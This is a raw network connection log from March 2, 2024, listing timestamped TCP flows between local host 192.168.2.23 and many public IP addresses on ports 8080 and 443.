Mar 2, 2024 12:36:51.820645094 CET	50950	8080	192.168.2.23	189.187.225.189
Mar 2, 2024 12:36:51.820645094 CET	50950	8080	192.168.2.23	201.44.157.162
Mar 2, 2024 12:36:51.820645094 CET	50950	8080	192.168.2.23	189.102.171.169
Mar 2, 2024 12:36:51.820647001 CET	50950	8080	192.168.2.23	189.116.224.170
Mar 2, 2024 12:36:51.820647001 CET	50950	8080	192.168.2.23	201.158.62.70
Mar 2, 2024 12:36:51.820647955 CET	50950	8080	192.168.2.23	189.138.225.21
Mar 2, 2024 12:36:51.820647955 CET	50950	8080	192.168.2.23	201.131.174.204
Mar 2, 2024 12:36:51.820657015 CET	50950	8080	192.168.2.23	201.83.184.4
Mar 2, 2024 12:36:51.820662975 CET	50182	443	192.168.2.23	109.210.220.210
Mar 2, 2024 12:36:51.820662975 CET	50950	8080	192.168.2.23	187.243.201.200
Mar 2, 2024 12:36:51.820662975 CET	50182	443	192.168.2.23	109.92.70.92
Mar 2, 2024 12:36:51.820662975 CET	50182	443	192.168.2.23	94.172.208.74
Mar 2, 2024 12:36:51.820672035 CET	50950	8080	192.168.2.23	187.158.63.123
Mar 2, 2024 12:36:51.820672035 CET	50950	8080	192.168.2.23	201.183.19.58
Mar 2, 2024 12:36:51.820677996 CET	50182	443	192.168.2.23	178.255.243.128
Mar 2, 2024 12:36:51.820677996 CET	50182	443	192.168.2.23	178.76.210.103
Mar 2, 2024 12:36:51.820677996 CET	50182	443	192.168.2.23	79.124.244.9
Mar 2, 2024 12:36:51.820686102 CET	50182	443	192.168.2.23	212.83.235.100
Mar 2, 2024 12:36:51.820687056 CET	50182	443	192.168.2.23	42.93.56.29
Mar 2, 2024 12:36:51.820692062 CET	443	50182	212.83.235.100	192.168.2.23
Mar 2, 2024 12:36:51.820692062 CET	50182	443	192.168.2.23	37.8.185.110
Mar 2, 2024 12:36:51.820694923 CET	50182	443	192.168.2.23	210.173.66.45
Mar 2, 2024 12:36:51.820694923 CET	443	50182	42.93.56.29	192.168.2.23
Mar 2, 2024 12:36:51.820694923 CET	50182	443	192.168.2.23	212.188.97.187
Mar 2, 2024 12:36:51.820702076 CET	443	50182	37.8.185.110	192.168.2.23
Mar 2, 2024 12:36:51.820703983 CET	50950	8080	192.168.2.23	187.51.157.208
Mar 2, 2024 12:36:51.820704937 CET	443	50182	210.173.66.45	192.168.2.23
Mar 2, 2024 12:36:51.820713043 CET	50182	443	192.168.2.23	42.192.67.184
Mar 2, 2024 12:36:51.820713043 CET	50182	443	192.168.2.23	79.44.211.212
Mar 2, 2024 12:36:51.820717096 CET	50182	443	192.168.2.23	178.224.238.101
Mar 2, 2024 12:36:51.820718050 CET	50182	443	192.168.2.23	212.66.200.153
Mar 2, 2024 12:36:51.820718050 CET	50182	443	192.168.2.23	212.219.89.150
Mar 2, 2024 12:36:51.820718050 CET	50950	8080	192.168.2.23	201.183.146.147
Mar 2, 2024 12:36:51.820718050 CET	50950	8080	192.168.2.23	189.120.54.129
Mar 2, 2024 12:36:51.820718050 CET	50182	443	192.168.2.23	178.167.155.219
Mar 2, 2024 12:36:51.820724964 CET	443	50182	42.192.67.184	192.168.2.23
Mar 2, 2024 12:36:51.820727110 CET	443	50182	178.224.238.101	192.168.2.23
Mar 2, 2024 12:36:51.820728064 CET	50182	443	192.168.2.23	210.173.66.45
Mar 2, 2024 12:36:51.820730925 CET	50182	443	192.168.2.23	42.93.56.29
Mar 2, 2024 12:36:51.820730925 CET	443	50182	79.44.211.212	192.168.2.23
Mar 2, 2024 12:36:51.820738077 CET	443	50182	212.66.200.153	192.168.2.23
Mar 2, 2024 12:36:51.820739985 CET	443	50182	212.219.89.150	192.168.2.23
Mar 2, 2024 12:36:51.820741892 CET	50182	443	192.168.2.23	212.83.235.100
Mar 2, 2024 12:36:51.820743084 CET	50182	443	192.168.2.23	178.193.110.56
Mar 2, 2024 12:36:51.820749044 CET	50182	443	192.168.2.23	178.29.105.83
Mar 2, 2024 12:36:51.820749044 CET	443	50182	178.193.110.56	192.168.2.23
Mar 2, 2024 12:36:51.820749044 CET	443	50182	178.167.155.219	192.168.2.23
Mar 2, 2024 12:36:51.820749044 CET	50182	443	192.168.2.23	37.8.185.110
Mar 2, 2024 12:36:51.820759058 CET	50182	443	192.168.2.23	2.254.187.90
Mar 2, 2024 12:36:51.820760012 CET	443	50182	178.29.105.83	192.168.2.23
Mar 2, 2024 12:36:51.820763111 CET	50182	443	192.168.2.23	5.200.139.181
Mar 2, 2024 12:36:51.820763111 CET	50182	443	192.168.2.23	178.224.238.101
Mar 2, 2024 12:36:51.820764065 CET	443	50182	2.254.187.90	192.168.2.23
Mar 2, 2024 12:36:51.820770025 CET	50182	443	192.168.2.23	212.66.200.153
Mar 2, 2024 12:36:51.820770979 CET	443	50182	5.200.139.181	192.168.2.23
Mar 2, 2024 12:36:51.820770025 CET	50182	443	192.168.2.23	212.219.89.150
Mar 2, 2024 12:36:51.820771933 CET	50182	443	192.168.2.23	79.44.211.212
Mar 2, 2024 12:36:51.820771933 CET	50182	443	192.168.2.23	42.192.67.184
Mar 2, 2024 12:36:51.820777893 CET	50182	443	192.168.2.23	178.167.155.219
Mar 2, 2024 12:36:51.820777893 CET	50950	8080	192.168.2.23	187.151.172.86
Mar 2, 2024 12:36:51.820789099 CET	50950	8080	192.168.2.23	189.19.242.197
Mar 2, 2024 12:36:51.820796967 CET	50182	443	192.168.2.23	178.193.110.56
Mar 2, 2024 12:36:51.820802927 CET	50182	443	192.168.2.23	178.29.105.83
Mar 2, 2024 12:36:51.820811987 CET	50950	8080	192.168.2.23	201.5.1.133
Mar 2, 2024 12:36:51.820811987 CET	50950	8080	192.168.2.23	201.30.222.84
Mar 2, 2024 12:36:51.820816040 CET	50950	8080	192.168.2.23	187.159.164.212
Mar 2, 2024 12:36:51.820816040 CET	50950	8080	192.168.2.23	189.148.47.235
Mar 2, 2024 12:36:51.820821047 CET	50182	443	192.168.2.23	5.200.139.181
Mar 2, 2024 12:36:51.820832968 CET	50182	443	192.168.2.23	2.254.187.90
Mar 2, 2024 12:36:51.820832968 CET	50182	443	192.168.2.23	210.226.222.96
Mar 2, 2024 12:36:51.820832968 CET	50950	8080	192.168.2.23	189.62.44.57
Mar 2, 2024 12:36:51.820832968 CET	50182	443	192.168.2.23	109.130.127.94
Mar 2, 2024 12:36:51.820832014 CET	50950	8080	192.168.2.23	201.130.121.206
Mar 2, 2024 12:36:51.820832968 CET	50950	8080	192.168.2.23	201.153.49.30
Mar 2, 2024 12:36:51.820832968 CET	50950	8080	192.168.2.23	189.195.188.145
Mar 2, 2024 12:36:51.820832014 CET	50950	8080	192.168.2.23	187.247.123.96
Mar 2, 2024 12:36:51.820832968 CET	50950	8080	192.168.2.23	201.27.137.214
Mar 2, 2024 12:36:51.820832014 CET	50182	443	192.168.2.23	2.95.188.167
Mar 2, 2024 12:36:51.820837975 CET	50182	443	192.168.2.23	79.217.40.172
Mar 2, 2024 12:36:51.820843935 CET	443	50182	210.226.222.96	192.168.2.23
Mar 2, 2024 12:36:51.820843935 CET	443	50182	109.130.127.94	192.168.2.23
Mar 2, 2024 12:36:51.820837975 CET	50182	443	192.168.2.23	5.147.226.72
Mar 2, 2024 12:36:51.820861101 CET	50950	8080	192.168.2.23	189.117.133.133
Mar 2, 2024 12:36:51.820861101 CET	50182	443	192.168.2.23	210.84.186.238
Mar 2, 2024 12:36:51.820861101 CET	50950	8080	192.168.2.23	189.84.138.115
Mar 2, 2024 12:36:51.820861101 CET	443	50182	79.217.40.172	192.168.2.23
Mar 2, 2024 12:36:51.820862055 CET	50182	443	192.168.2.23	37.146.1.198
Mar 2, 2024 12:36:51.820861101 CET	50182	443	192.168.2.23	42.184.212.82
Mar 2, 2024 12:36:51.820867062 CET	50950	8080	192.168.2.23	189.82.138.207
Mar 2, 2024 12:36:51.820871115 CET	443	50182	2.95.188.167	192.168.2.23
Mar 2, 2024 12:36:51.820861101 CET	50182	443	192.168.2.23	37.154.121.193
Mar 2, 2024 12:36:51.820867062 CET	50182	443	192.168.2.23	94.127.51.78
Mar 2, 2024 12:36:51.820861101 CET	50182	443	192.168.2.23	79.201.36.72
Mar 2, 2024 12:36:51.820867062 CET	50182	443	192.168.2.23	210.247.131.189
Mar 2, 2024 12:36:51.820872068 CET	443	50182	5.147.226.72	192.168.2.23
Mar 2, 2024 12:36:51.820867062 CET	50182	443	192.168.2.23	79.144.11.245
Mar 2, 2024 12:36:51.820862055 CET	50182	443	192.168.2.23	94.219.150.96
Mar 2, 2024 12:36:51.820861101 CET	50182	443	192.168.2.23	5.182.253.78
Mar 2, 2024 12:36:51.820862055 CET	50182	443	192.168.2.23	37.127.119.173
Mar 2, 2024 12:36:51.820871115 CET	50182	443	192.168.2.23	94.92.31.124
Mar 2, 2024 12:36:51.820878983 CET	50950	8080	192.168.2.23	187.14.234.153
Mar 2, 2024 12:36:51.820871115 CET	50182	443	192.168.2.23	210.134.98.68
Mar 2, 2024 12:36:51.820862055 CET	50182	443	192.168.2.23	79.92.34.167
Mar 2, 2024 12:36:51.820871115 CET	50182	443	192.168.2.23	5.38.105.198
Mar 2, 2024 12:36:51.820871115 CET	50182	443	192.168.2.23	94.5.181.67
Mar 2, 2024 12:36:51.820883989 CET	50182	443	192.168.2.23	2.106.194.22
Mar 2, 2024 12:36:51.820887089 CET	443	50182	94.127.51.78	192.168.2.23
Mar 2, 2024 12:36:51.820888996 CET	443	50182	210.84.186.238	192.168.2.23
Mar 2, 2024 12:36:51.820878983 CET	50950	8080	192.168.2.23	201.34.227.64
Mar 2, 2024 12:36:51.820892096 CET	443	50182	37.154.121.193	192.168.2.23
Mar 2, 2024 12:36:51.820893049 CET	50182	443	192.168.2.23	79.107.149.135
Mar 2, 2024 12:36:51.820893049 CET	50950	8080	192.168.2.23	187.93.167.173
Mar 2, 2024 12:36:51.820893049 CET	50950	8080	192.168.2.23	187.202.144.28
Mar 2, 2024 12:36:51.820893049 CET	50950	8080	192.168.2.23	189.113.56.177
Mar 2, 2024 12:36:51.820897102 CET	443	50182	42.184.212.82	192.168.2.23
Mar 2, 2024 12:36:51.820898056 CET	443	50182	2.106.194.22	192.168.2.23
Mar 2, 2024 12:36:51.820897102 CET	443	50182	94.92.31.124	192.168.2.23
Mar 2, 2024 12:36:51.820897102 CET	443	50182	37.146.1.198	192.168.2.23
Mar 2, 2024 12:36:51.820899963 CET	50182	443	192.168.2.23	79.217.40.172
Mar 2, 2024 12:36:51.820899963 CET	50950	8080	192.168.2.23	187.15.23.115
Mar 2, 2024 12:36:51.820903063 CET	50950	8080	192.168.2.23	201.61.146.70
Mar 2, 2024 12:36:51.820903063 CET	50950	8080	192.168.2.23	201.134.115.3
Mar 2, 2024 12:36:51.820904970 CET	443	50182	79.201.36.72	192.168.2.23
Mar 2, 2024 12:36:51.820909023 CET	443	50182	79.107.149.135	192.168.2.23
Mar 2, 2024 12:36:51.820909977 CET	443	50182	210.247.131.189	192.168.2.23
Mar 2, 2024 12:36:51.820909023 CET	443	50182	5.182.253.78	192.168.2.23
Mar 2, 2024 12:36:51.820913076 CET	443	50182	210.134.98.68	192.168.2.23
Mar 2, 2024 12:36:51.820914984 CET	443	50182	5.38.105.198	192.168.2.23
Mar 2, 2024 12:36:51.820915937 CET	443	50182	94.219.150.96	192.168.2.23
Mar 2, 2024 12:36:51.820916891 CET	443	50182	37.127.119.173	192.168.2.23
Mar 2, 2024 12:36:51.820919037 CET	50182	443	192.168.2.23	79.102.54.225
Mar 2, 2024 12:36:51.820919037 CET	443	50182	79.92.34.167	192.168.2.23
Mar 2, 2024 12:36:51.820919037 CET	50950	8080	192.168.2.23	187.187.252.163
Mar 2, 2024 12:36:51.820919037 CET	50950	8080	192.168.2.23	189.152.107.218
Mar 2, 2024 12:36:51.820921898 CET	443	50182	79.144.11.245	192.168.2.23
Mar 2, 2024 12:36:51.820919037 CET	50182	443	192.168.2.23	5.1.50.50
Mar 2, 2024 12:36:51.820924997 CET	50182	443	192.168.2.23	5.202.95.122
Mar 2, 2024 12:36:51.820924997 CET	50950	8080	192.168.2.23	201.226.144.218
Mar 2, 2024 12:36:51.820924997 CET	50182	443	192.168.2.23	2.95.188.167
Mar 2, 2024 12:36:51.820926905 CET	443	50182	94.5.181.67	192.168.2.23
Mar 2, 2024 12:36:51.820930958 CET	443	50182	5.202.95.122	192.168.2.23
Mar 2, 2024 12:36:51.820933104 CET	50182	443	192.168.2.23	79.197.52.200
Mar 2, 2024 12:36:51.820933104 CET	50950	8080	192.168.2.23	189.76.40.92
Mar 2, 2024 12:36:51.820933104 CET	50950	8080	192.168.2.23	189.130.88.115
Mar 2, 2024 12:36:51.820933104 CET	50950	8080	192.168.2.23	187.58.84.35
Mar 2, 2024 12:36:51.820934057 CET	50182	443	192.168.2.23	37.249.183.128
Mar 2, 2024 12:36:51.820933104 CET	50182	443	192.168.2.23	2.163.153.201
Mar 2, 2024 12:36:51.820936918 CET	50182	443	192.168.2.23	37.154.121.193
Mar 2, 2024 12:36:51.820936918 CET	443	50182	79.102.54.225	192.168.2.23
Mar 2, 2024 12:36:51.820938110 CET	50950	8080	192.168.2.23	189.126.227.230
Mar 2, 2024 12:36:51.820934057 CET	50182	443	192.168.2.23	94.1.144.12
Mar 2, 2024 12:36:51.820936918 CET	50182	443	192.168.2.23	118.89.54.203
Mar 2, 2024 12:36:51.820940018 CET	50182	443	192.168.2.23	2.128.31.173
Mar 2, 2024 12:36:51.820940018 CET	443	50182	5.1.50.50	192.168.2.23
Mar 2, 2024 12:36:51.820943117 CET	50182	443	192.168.2.23	5.147.226.72
Mar 2, 2024 12:36:51.820943117 CET	50182	443	192.168.2.23	109.44.205.41
Mar 2, 2024 12:36:51.820940018 CET	50950	8080	192.168.2.23	189.138.163.63
Mar 2, 2024 12:36:51.820934057 CET	50182	443	192.168.2.23	212.240.21.27
Mar 2, 2024 12:36:51.820943117 CET	50182	443	192.168.2.23	2.106.194.22
Mar 2, 2024 12:36:51.820934057 CET	50182	443	192.168.2.23	210.226.222.96
Mar 2, 2024 12:36:51.820940018 CET	50950	8080	192.168.2.23	201.176.148.53
Mar 2, 2024 12:36:51.820946932 CET	443	50182	79.197.52.200	192.168.2.23
Mar 2, 2024 12:36:51.820934057 CET	50182	443	192.168.2.23	109.44.150.209
Mar 2, 2024 12:36:51.820943117 CET	50182	443	192.168.2.23	210.84.186.238
Mar 2, 2024 12:36:51.820940018 CET	50182	443	192.168.2.23	109.130.127.94
Mar 2, 2024 12:36:51.820943117 CET	50182	443	192.168.2.23	42.184.212.82
Mar 2, 2024 12:36:51.820960045 CET	443	50182	118.89.54.203	192.168.2.23
Mar 2, 2024 12:36:51.820940018 CET	50182	443	192.168.2.23	42.240.143.37
Mar 2, 2024 12:36:51.820934057 CET	50182	443	192.168.2.23	94.127.51.78
Mar 2, 2024 12:36:51.820940018 CET	50182	443	192.168.2.23	178.91.75.48
Mar 2, 2024 12:36:51.820934057 CET	50950	8080	192.168.2.23	201.155.48.254
Mar 2, 2024 12:36:51.820940018 CET	50182	443	192.168.2.23	42.236.135.240
Mar 2, 2024 12:36:51.820935011 CET	50950	8080	192.168.2.23	189.253.203.172
Mar 2, 2024 12:36:51.820971012 CET	50182	443	192.168.2.23	79.107.149.135
Mar 2, 2024 12:36:51.820972919 CET	443	50182	109.44.205.41	192.168.2.23
Mar 2, 2024 12:36:51.820976973 CET	443	50182	2.128.31.173	192.168.2.23
Mar 2, 2024 12:36:51.820977926 CET	443	50182	37.249.183.128	192.168.2.23
Mar 2, 2024 12:36:51.820977926 CET	50182	443	192.168.2.23	94.99.120.105
Mar 2, 2024 12:36:51.820977926 CET	50182	443	192.168.2.23	79.201.36.72
Mar 2, 2024 12:36:51.820979118 CET	50182	443	192.168.2.23	5.182.253.78
Mar 2, 2024 12:36:51.820980072 CET	50950	8080	192.168.2.23	189.119.82.52
Mar 2, 2024 12:36:51.820977926 CET	50950	8080	192.168.2.23	187.70.253.152
Mar 2, 2024 12:36:51.820979118 CET	50950	8080	192.168.2.23	201.249.41.99
Mar 2, 2024 12:36:51.820980072 CET	50950	8080	192.168.2.23	187.80.118.188
Mar 2, 2024 12:36:51.820979118 CET	443	50182	2.163.153.201	192.168.2.23
Mar 2, 2024 12:36:51.820980072 CET	50950	8080	192.168.2.23	201.53.27.158
Mar 2, 2024 12:36:51.820988894 CET	443	50182	94.1.144.12	192.168.2.23
Mar 2, 2024 12:36:51.820991993 CET	443	50182	42.240.143.37	192.168.2.23
Mar 2, 2024 12:36:51.820995092 CET	443	50182	178.91.75.48	192.168.2.23
Mar 2, 2024 12:36:51.820996046 CET	50182	443	192.168.2.23	5.24.255.251
Mar 2, 2024 12:36:51.820996046 CET	50182	443	192.168.2.23	37.146.1.198
Mar 2, 2024 12:36:51.820996046 CET	50182	443	192.168.2.23	37.127.119.173
Mar 2, 2024 12:36:51.820996046 CET	50950	8080	192.168.2.23	189.39.197.176
Mar 2, 2024 12:36:51.820996046 CET	50182	443	192.168.2.23	94.219.150.96
Mar 2, 2024 12:36:51.820997000 CET	443	50182	94.99.120.105	192.168.2.23
Mar 2, 2024 12:36:51.820996046 CET	50182	443	192.168.2.23	79.92.34.167
Mar 2, 2024 12:36:51.820997953 CET	50950	8080	192.168.2.23	189.136.101.205
Mar 2, 2024 12:36:51.820997953 CET	443	50182	212.240.21.27	192.168.2.23
Mar 2, 2024 12:36:51.820998907 CET	443	50182	42.236.135.240	192.168.2.23
Mar 2, 2024 12:36:51.820997953 CET	50950	8080	192.168.2.23	189.252.169.104
Mar 2, 2024 12:36:51.820997953 CET	50182	443	192.168.2.23	109.126.225.150
Mar 2, 2024 12:36:51.821006060 CET	50182	443	192.168.2.23	210.62.177.74
Mar 2, 2024 12:36:51.821006060 CET	443	50182	109.44.150.209	192.168.2.23
Mar 2, 2024 12:36:51.821006060 CET	50182	443	192.168.2.23	2.179.239.99
Mar 2, 2024 12:36:51.821007013 CET	50950	8080	192.168.2.23	189.197.175.214
Mar 2, 2024 12:36:51.821008921 CET	50950	8080	192.168.2.23	189.98.247.66
Mar 2, 2024 12:36:51.821008921 CET	50950	8080	192.168.2.23	189.127.82.94
Mar 2, 2024 12:36:51.821008921 CET	50950	8080	192.168.2.23	201.205.76.246
Mar 2, 2024 12:36:51.821008921 CET	50182	443	192.168.2.23	5.202.95.122
Mar 2, 2024 12:36:51.821011066 CET	50182	443	192.168.2.23	94.92.31.124
Mar 2, 2024 12:36:51.821011066 CET	50182	443	192.168.2.23	210.134.98.68
Mar 2, 2024 12:36:51.821012020 CET	443	50182	5.24.255.251	192.168.2.23
Mar 2, 2024 12:36:51.821011066 CET	50182	443	192.168.2.23	5.38.105.198
Mar 2, 2024 12:36:51.821011066 CET	50182	443	192.168.2.23	79.78.132.213
Mar 2, 2024 12:36:51.821011066 CET	50950	8080	192.168.2.23	201.69.139.103
Mar 2, 2024 12:36:51.821011066 CET	50182	443	192.168.2.23	37.137.8.61
Mar 2, 2024 12:36:51.821011066 CET	50950	8080	192.168.2.23	201.87.214.55
Mar 2, 2024 12:36:51.821011066 CET	50182	443	192.168.2.23	2.209.221.92
Mar 2, 2024 12:36:51.821014881 CET	443	50182	210.62.177.74	192.168.2.23
Mar 2, 2024 12:36:51.821018934 CET	443	50182	109.126.225.150	192.168.2.23
Mar 2, 2024 12:36:51.821019888 CET	50950	8080	192.168.2.23	201.227.88.80
Mar 2, 2024 12:36:51.821019888 CET	50182	443	192.168.2.23	5.229.156.253
Mar 2, 2024 12:36:51.821019888 CET	50182	443	192.168.2.23	118.135.194.148
Mar 2, 2024 12:36:51.821021080 CET	50950	8080	192.168.2.23	187.85.5.207
Mar 2, 2024 12:36:51.821021080 CET	50182	443	192.168.2.23	212.160.235.69
Mar 2, 2024 12:36:51.821021080 CET	50182	443	192.168.2.23	118.89.54.203
Mar 2, 2024 12:36:51.821022987 CET	50182	443	192.168.2.23	79.197.52.200
Mar 2, 2024 12:36:51.821023941 CET	50182	443	192.168.2.23	79.102.54.225
Mar 2, 2024 12:36:51.821023941 CET	50182	443	192.168.2.23	109.44.205.41
Mar 2, 2024 12:36:51.821023941 CET	50182	443	192.168.2.23	5.1.50.50
Mar 2, 2024 12:36:51.821026087 CET	50950	8080	192.168.2.23	189.53.99.248
Mar 2, 2024 12:36:51.821024895 CET	50182	443	192.168.2.23	79.62.168.52
Mar 2, 2024 12:36:51.821026087 CET	50950	8080	192.168.2.23	187.247.62.44
Mar 2, 2024 12:36:51.821027994 CET	443	50182	79.78.132.213	192.168.2.23
Mar 2, 2024 12:36:51.821026087 CET	50182	443	192.168.2.23	79.144.11.245
Mar 2, 2024 12:36:51.821026087 CET	50182	443	192.168.2.23	210.247.131.189
Mar 2, 2024 12:36:51.821026087 CET	50950	8080	192.168.2.23	187.136.146.226
Mar 2, 2024 12:36:51.821027994 CET	443	50182	2.179.239.99	192.168.2.23
Mar 2, 2024 12:36:51.821026087 CET	50182	443	192.168.2.23	42.147.191.129
Mar 2, 2024 12:36:51.821026087 CET	50182	443	192.168.2.23	94.38.78.194
Mar 2, 2024 12:36:51.821026087 CET	50182	443	192.168.2.23	37.249.183.128
Mar 2, 2024 12:36:51.821033955 CET	443	50182	37.137.8.61	192.168.2.23
Mar 2, 2024 12:36:51.821037054 CET	443	50182	79.62.168.52	192.168.2.23
Mar 2, 2024 12:36:51.821038961 CET	443	50182	2.209.221.92	192.168.2.23
Mar 2, 2024 12:36:51.821046114 CET	443	50182	5.229.156.253	192.168.2.23
Mar 2, 2024 12:36:51.821047068 CET	443	50182	42.147.191.129	192.168.2.23
Mar 2, 2024 12:36:51.821048021 CET	50182	443	192.168.2.23	94.5.181.67
Mar 2, 2024 12:36:51.821048021 CET	50182	443	192.168.2.23	2.128.31.173
Mar 2, 2024 12:36:51.821048021 CET	50182	443	192.168.2.23	178.91.75.48
Mar 2, 2024 12:36:51.821048021 CET	50182	443	192.168.2.23	42.240.143.37
Mar 2, 2024 12:36:51.821048021 CET	50182	443	192.168.2.23	42.236.135.240
Mar 2, 2024 12:36:51.821052074 CET	443	50182	118.135.194.148	192.168.2.23
Mar 2, 2024 12:36:51.821053982 CET	50182	443	192.168.2.23	2.163.153.201
Mar 2, 2024 12:36:51.821053982 CET	443	50182	94.38.78.194	192.168.2.23
Mar 2, 2024 12:36:51.821053982 CET	50182	443	192.168.2.23	5.24.255.251
Mar 2, 2024 12:36:51.821058035 CET	50182	443	192.168.2.23	109.126.225.150
Mar 2, 2024 12:36:51.821059942 CET	50182	443	192.168.2.23	79.78.132.213
Mar 2, 2024 12:36:51.821059942 CET	443	50182	212.160.235.69	192.168.2.23
Mar 2, 2024 12:36:51.821060896 CET	50182	443	192.168.2.23	94.1.144.12
Mar 2, 2024 12:36:51.821060896 CET	50182	443	192.168.2.23	212.240.21.27
Mar 2, 2024 12:36:51.821060896 CET	50182	443	192.168.2.23	109.44.150.209
Mar 2, 2024 12:36:51.821064949 CET	50182	443	192.168.2.23	37.137.8.61
Mar 2, 2024 12:36:51.821065903 CET	50182	443	192.168.2.23	210.62.177.74
Mar 2, 2024 12:36:51.821065903 CET	50182	443	192.168.2.23	2.179.239.99
Mar 2, 2024 12:36:51.821069956 CET	50182	443	192.168.2.23	79.62.168.52
Mar 2, 2024 12:36:51.821074009 CET	50182	443	192.168.2.23	94.99.120.105
Mar 2, 2024 12:36:51.821080923 CET	50950	8080	192.168.2.23	189.129.1.134
Mar 2, 2024 12:36:51.821080923 CET	50950	8080	192.168.2.23	201.188.246.107
Mar 2, 2024 12:36:51.821090937 CET	50950	8080	192.168.2.23	187.242.115.172
Mar 2, 2024 12:36:51.821094036 CET	50182	443	192.168.2.23	42.147.191.129
Mar 2, 2024 12:36:51.821101904 CET	50182	443	192.168.2.23	212.160.235.69
Mar 2, 2024 12:36:51.821101904 CET	50182	443	192.168.2.23	5.229.156.253
Mar 2, 2024 12:36:51.821101904 CET	50950	8080	192.168.2.23	187.43.21.37
Mar 2, 2024 12:36:51.821109056 CET	50950	8080	192.168.2.23	201.186.98.163
Mar 2, 2024 12:36:51.821110010 CET	50182	443	192.168.2.23	2.209.221.92
Mar 2, 2024 12:36:51.821114063 CET	50182	443	192.168.2.23	118.135.194.148
Mar 2, 2024 12:36:51.821124077 CET	50950	8080	192.168.2.23	189.36.133.14
Mar 2, 2024 12:36:51.821124077 CET	50950	8080	192.168.2.23	187.82.185.187
Mar 2, 2024 12:36:51.821129084 CET	50950	8080	192.168.2.23	201.153.123.31
Mar 2, 2024 12:36:51.821129084 CET	50182	443	192.168.2.23	42.32.248.157
Mar 2, 2024 12:36:51.821130037 CET	50950	8080	192.168.2.23	189.169.227.157
Mar 2, 2024 12:36:51.821130037 CET	50182	443	192.168.2.23	79.235.112.53
Mar 2, 2024 12:36:51.821131945 CET	50182	443	192.168.2.23	94.38.78.194
Mar 2, 2024 12:36:51.821131945 CET	50950	8080	192.168.2.23	201.118.31.29
Mar 2, 2024 12:36:51.821131945 CET	50950	8080	192.168.2.23	201.111.53.6
Mar 2, 2024 12:36:51.821140051 CET	443	50182	42.32.248.157	192.168.2.23
Mar 2, 2024 12:36:51.821140051 CET	443	50182	79.235.112.53	192.168.2.23
Mar 2, 2024 12:36:51.821146011 CET	50950	8080	192.168.2.23	189.167.102.244
Mar 2, 2024 12:36:51.821146011 CET	50182	443	192.168.2.23	94.94.141.163
Mar 2, 2024 12:36:51.821149111 CET	50182	443	192.168.2.23	118.161.203.201
Mar 2, 2024 12:36:51.821149111 CET	50950	8080	192.168.2.23	187.80.166.195
Mar 2, 2024 12:36:51.821150064 CET	50182	443	192.168.2.23	2.250.49.191
Mar 2, 2024 12:36:51.821149111 CET	50950	8080	192.168.2.23	189.132.36.88
Mar 2, 2024 12:36:51.821149111 CET	50182	443	192.168.2.23	94.157.251.237
Mar 2, 2024 12:36:51.821151972 CET	50950	8080	192.168.2.23	189.163.115.89
Mar 2, 2024 12:36:51.821155071 CET	443	50182	118.161.203.201	192.168.2.23
Mar 2, 2024 12:36:51.821155071 CET	50182	443	192.168.2.23	42.233.195.151
Mar 2, 2024 12:36:51.821156025 CET	50950	8080	192.168.2.23	189.74.152.120
Mar 2, 2024 12:36:51.821156979 CET	443	50182	2.250.49.191	192.168.2.23
Mar 2, 2024 12:36:51.821156025 CET	50182	443	192.168.2.23	42.127.51.34
Mar 2, 2024 12:36:51.821160078 CET	50182	443	192.168.2.23	178.17.8.120
Mar 2, 2024 12:36:51.821161985 CET	443	50182	42.233.195.151	192.168.2.23
Mar 2, 2024 12:36:51.821161985 CET	443	50182	94.94.141.163	192.168.2.23
Mar 2, 2024 12:36:51.821165085 CET	50182	443	192.168.2.23	5.39.23.131
Mar 2, 2024 12:36:51.821165085 CET	50182	443	192.168.2.23	5.236.50.154
Mar 2, 2024 12:36:51.821166992 CET	443	50182	42.127.51.34	192.168.2.23
Mar 2, 2024 12:36:51.821167946 CET	50182	443	192.168.2.23	178.48.76.80
Mar 2, 2024 12:36:51.821167946 CET	443	50182	94.157.251.237	192.168.2.23
Mar 2, 2024 12:36:51.821170092 CET	443	50182	178.17.8.120	192.168.2.23
Mar 2, 2024 12:36:51.821171045 CET	50182	443	192.168.2.23	79.21.36.212
Mar 2, 2024 12:36:51.821171045 CET	50182	443	192.168.2.23	212.137.158.169
Mar 2, 2024 12:36:51.821171045 CET	50950	8080	192.168.2.23	187.157.243.93
Mar 2, 2024 12:36:51.821171045 CET	50182	443	192.168.2.23	109.107.134.29
Mar 2, 2024 12:36:51.821175098 CET	443	50182	178.48.76.80	192.168.2.23
Mar 2, 2024 12:36:51.821175098 CET	443	50182	5.39.23.131	192.168.2.23
Mar 2, 2024 12:36:51.821177959 CET	50950	8080	192.168.2.23	189.153.185.233
Mar 2, 2024 12:36:51.821177959 CET	50182	443	192.168.2.23	210.42.19.14
Mar 2, 2024 12:36:51.821178913 CET	50182	443	192.168.2.23	37.116.235.128
Mar 2, 2024 12:36:51.821180105 CET	50950	8080	192.168.2.23	187.153.142.242
Mar 2, 2024 12:36:51.821180105 CET	50182	443	192.168.2.23	94.128.247.182
Mar 2, 2024 12:36:51.821182966 CET	443	50182	212.137.158.169	192.168.2.23
Mar 2, 2024 12:36:51.821183920 CET	443	50182	37.116.235.128	192.168.2.23
Mar 2, 2024 12:36:51.821186066 CET	443	50182	79.21.36.212	192.168.2.23
Mar 2, 2024 12:36:51.821187019 CET	443	50182	5.236.50.154	192.168.2.23
Mar 2, 2024 12:36:51.821191072 CET	443	50182	94.128.247.182	192.168.2.23
Mar 2, 2024 12:36:51.821191072 CET	443	50182	210.42.19.14	192.168.2.23
Mar 2, 2024 12:36:51.821192026 CET	50182	443	192.168.2.23	42.138.249.41
Mar 2, 2024 12:36:51.821192026 CET	50950	8080	192.168.2.23	189.69.39.212
Mar 2, 2024 12:36:51.821192026 CET	50182	443	192.168.2.23	109.154.166.16
Mar 2, 2024 12:36:51.821192026 CET	50182	443	192.168.2.23	42.32.248.157
Mar 2, 2024 12:36:51.821192026 CET	50182	443	192.168.2.23	37.246.97.210
Mar 2, 2024 12:36:51.821192026 CET	50182	443	192.168.2.23	118.161.203.201
Mar 2, 2024 12:36:51.821197033 CET	50182	443	192.168.2.23	5.216.248.144
Mar 2, 2024 12:36:51.821197033 CET	50182	443	192.168.2.23	5.60.102.106
Mar 2, 2024 12:36:51.821197987 CET	50182	443	192.168.2.23	42.3.147.239
Mar 2, 2024 12:36:51.821197987 CET	50182	443	192.168.2.23	178.48.76.80
Mar 2, 2024 12:36:51.821198940 CET	50182	443	192.168.2.23	42.246.158.207
Mar 2, 2024 12:36:51.821198940 CET	50182	443	192.168.2.23	79.235.112.53
